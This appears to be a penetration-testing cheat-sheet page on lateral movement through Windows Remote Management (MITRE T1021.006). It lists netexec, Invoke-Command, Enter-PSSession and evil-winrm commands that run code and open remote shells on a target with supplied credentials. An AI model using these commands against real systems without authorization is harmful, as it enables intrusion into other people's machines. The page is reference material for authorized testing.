WinRM
MITRE ATT&CK™ Remote Services: Windows Remote Management - Technique T1021.006
Theory
Practice
Execute Remote Commands
#Execute command
netexec winrm <IP> -u <user> -p <password> -x "whoami"
#Execute PowerShell command
netexec winrm <IP> -u <user> -p <password> -x "$(Get-WMIObject -class Win32_ComputerSystem | select username).username"#Create Powershell PSCredential object
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
#Invoke command remotly
Invoke-Command -Computername <TARGET> -Credential $credential -ScriptBlock {whoami}
#Invoke command remotly from functions of your current PS console (like imported modules)
Invoke-Command -ComputerName <TARGET> -Credential $credential -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]Invoke-Command -ComputerName <TARGET> -FilePath C:\path\to\script\file -credential $credentialRemote shell
evil-winrm -u <user> -p <password> -i <IP>#Create Powershell PSCredential object
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
# Start a remote powershell session
Enter-PSSession -ComputerName <TARGET> -Credential $credentialResources
Last updated